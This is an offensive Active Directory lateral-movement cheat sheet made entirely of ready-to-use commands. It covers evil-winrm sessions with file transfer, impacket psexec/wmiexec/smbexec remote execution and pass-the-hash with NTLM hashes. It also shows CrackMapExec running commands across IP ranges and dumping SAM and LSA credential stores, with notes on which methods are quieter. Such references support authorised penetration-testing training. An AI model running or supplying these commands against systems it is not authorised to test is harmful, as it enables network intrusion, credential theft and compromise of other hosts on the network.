Active Directory
Lateral Movement
reference
- Recon
- Enumerate
- Foothold
- PrivEsc
- Lateral
- Post-Ex
reached from Low-priv domain creds
evil-winrm
WinRM lateral movement
evil-winrm -i <TARGET-IP> -u <USER> -p <PASS>
evil-winrm -i <TARGET-IP> -u <USER> -H <HASH>
Upload/download
upload /kali/tool.exe
download C:\path\to\file
impacket-psexec / wmiexec / smbexec
psexec · creates service, verbose, noisy
impacket-psexec <USER>:<PASS>@<TARGET-IP>
impacket-psexec <DOMAIN>/<USER>:<PASS>@<TARGET-IP>
wmiexec · quieter, uses WMI
impacket-wmiexec <USER>:<PASS>@<TARGET-IP>
impacket-wmiexec <DOMAIN>/<USER>:<PASS>@<TARGET-IP>
smbexec · SMB-based, moderate noise
impacket-smbexec <USER>:<PASS>@<TARGET-IP>
With hash (PTH)
impacket-psexec <USER>@<TARGET-IP> -hashes :<NTLM-HASH>
impacket-wmiexec <USER>@<TARGET-IP> -hashes :<NTLM-HASH>
CrackMapExec Execution
Run command across all hosts
crackmapexec smb <RANGE> -u <USER> -p <PASS> -x "whoami"
crackmapexec smb <RANGE> -u <USER> -p <PASS> -X "Get-Process" # PowerShell
Execute script
crackmapexec smb <TARGET-IP> -u <USER> -p <PASS> --exec-method smbexec -x "net user"
Dump SAM
crackmapexec smb <TARGET-IP> -u <USER> -p <PASS> --sam
Dump LSA
crackmapexec smb <TARGET-IP> -u <USER> -p <PASS> --lsa